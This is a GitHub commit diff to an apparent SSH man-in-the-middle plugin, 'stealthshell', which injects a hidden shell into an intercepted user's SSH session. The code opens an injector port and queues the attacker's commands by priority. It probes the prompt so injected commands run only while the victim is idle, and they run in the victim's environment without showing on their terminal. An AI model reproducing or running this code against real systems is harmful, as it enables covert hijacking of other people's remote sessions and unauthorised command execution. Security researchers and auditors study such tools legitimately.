Skip to content

Commit 1a75f27

Browse files
committed
Stealthshell working
1 parent 01244e8 commit 1a75f27

File tree

1 file changed

+42
-15
lines changed

1 file changed

+42
-15
lines changed

ssh_mitm_plugins/ssh/stealthshell.py

Lines changed: 42 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,6 @@
1212

1313

1414
class SSHInjectableForwarder(SSHForwarder):
15-
# TODO: complete stealth
1615

1716
HOST_KEY_LENGTH = 2048
1817

@@ -49,7 +48,9 @@ def __init__(self, session):
4948
self.injector_sock.listen(5)
5049

5150
self.mirror_enabled = self.args.ssh_injector_enable_mirror
52-
self.queue = queue.Queue()
51+
self.queue = queue.PriorityQueue()
52+
self.clear_signal = None
53+
self.clear = True
5354
self.sender = self.session.ssh_channel
5455
self.injector_shells = []
5556
thread = threading.Thread(target=self.injector_connect)
@@ -59,7 +60,7 @@ def __init__(self, session):
5960
def injector_connect(self):
6061
inject_host, inject_port = self.injector_sock.getsockname()
6162
logging.info(
62-
"created injector shell on port {port}. connect with: ssh -p {port} {host}".format(
63+
"created stealth shell on port {port}. connect with: ssh -p {port} {host}".format(
6364
host=inject_host,
6465
port=inject_port
6566
)
@@ -98,14 +99,24 @@ def injector_connect(self):
9899
self.close_session(self.channel)
99100

100101
def forward_stdin(self):
101-
# MTODO: maybe add host priority (priority queue); silent mode with client blocking input from injectors
102102
if self.session.ssh_channel.recv_ready():
103+
self.clear = False
103104
buf = self.session.ssh_channel.recv(self.BUF_LEN)
104-
self.queue.put((buf, self.session.ssh_channel))
105+
logging.debug("Client:" + str(buf))
106+
self.queue.put((0, buf, self.session.ssh_channel))
105107

106108
def forward_stdout(self):
107109
if self.server_channel.recv_ready():
108110
buf = self.server_channel.recv(self.BUF_LEN)
111+
if self.sender == 'clear_signal':
112+
self.clear_signal = buf.strip()
113+
self.sender = self.session.ssh_channel
114+
return
115+
if self.clear_signal:
116+
if self.clear_signal in buf:
117+
self.clear = True
118+
logging.debug("Server:" + str(buf))
119+
logging.debug(self.clear)
109120
self.sender.sendall(buf)
110121
if self.mirror_enabled and self.sender == self.session.ssh_channel:
111122
for shell in self.injector_shells:
@@ -114,7 +125,14 @@ def forward_stdout(self):
114125

115126
def forward_extra(self):
116127
if not self.server_channel.recv_ready() and not self.session.ssh_channel.recv_ready() and not self.queue.empty():
117-
msg, sender = self.queue.get()
128+
if not self.clear_signal:
129+
self.server_channel.sendall(b'\r')
130+
self.sender = 'clear_signal'
131+
return
132+
prio, msg, sender = self.queue.get()
133+
if sender is not self.session.ssh_channel and not self.clear:
134+
self.queue.put((prio, msg, sender))
135+
return
118136
self.server_channel.sendall(msg)
119137
self.sender = sender
120138
self.queue.task_done()
@@ -131,15 +149,14 @@ class InjectorShell(threading.Thread):
131149

132150
BUF_LEN = 1024
133151
STEALTH_WARNING = """
134-
[NOTE]\r\n
135-
This is a hidden shell injected into the secure session the original host created.\r\n
136-
Any commands issued CAN affect the environment of the user BUT will not be displayed on their terminal!\r\n
137-
Exit the hidden shell with CTRL+C\r\n
152+
[INFO]\r
153+
This is a hidden shell injected into the secure session the original host created.\r
154+
Any commands issued CAN affect the environment of the user BUT will not be displayed on their terminal!\r
155+
Exit the hidden shell with CTRL+C\r
138156
"""
139157
SUPER_STEALTH = """
140-
[SUPERSTEALTH]\r\n
141-
Commands from the injected shell will only be executed if they do not interfere with normal operation of the original host!
142-
\r\n
158+
[SUPERSTEALTH]\r
159+
Commands from the injected shell will only be executed if they do not interfere with normal operation of the original host!\r
143160
"""
144161

145162
def __init__(self, remote, client_channel, forwarder):
@@ -148,18 +165,28 @@ def __init__(self, remote, client_channel, forwarder):
148165
self.forwarder = forwarder
149166
self.queue = self.forwarder.queue
150167
self.client_channel = client_channel
168+
self.command = b''
151169

152170
def run(self) -> None:
153171
self.client_channel.sendall(
154-
self.STEALTH_WARNING + self.SUPER_STEALTH if self.forwarder.args.ssh_injector_super_stealth else ""
172+
self.STEALTH_WARNING + (self.SUPER_STEALTH if self.forwarder.args.ssh_injector_super_stealth else "")
155173
)
156174
try:
157175
while not self.forwarder.session.ssh_channel.closed:
158176
if self.client_channel.recv_ready():
159177
data = self.client_channel.recv(self.forwarder.BUF_LEN)
178+
self.command += data
160179
if data == b'\x03':
161180
break
162-
self.queue.put((data, self.client_channel))
181+
if self.forwarder.args.ssh_injector_super_stealth:
182+
if data == b'\r':
183+
self.queue.put((1, self.command, self.client_channel))
184+
self.command = b''
185+
self.client_channel.sendall(data)
186+
else:
187+
self.queue.put((1, self.command, self.client_channel))
188+
self.command = b''
189+
163190
if self.client_channel.exit_status_ready():
164191
break
165192
time.sleep(0.1)

0 commit comments

Comments
 (0)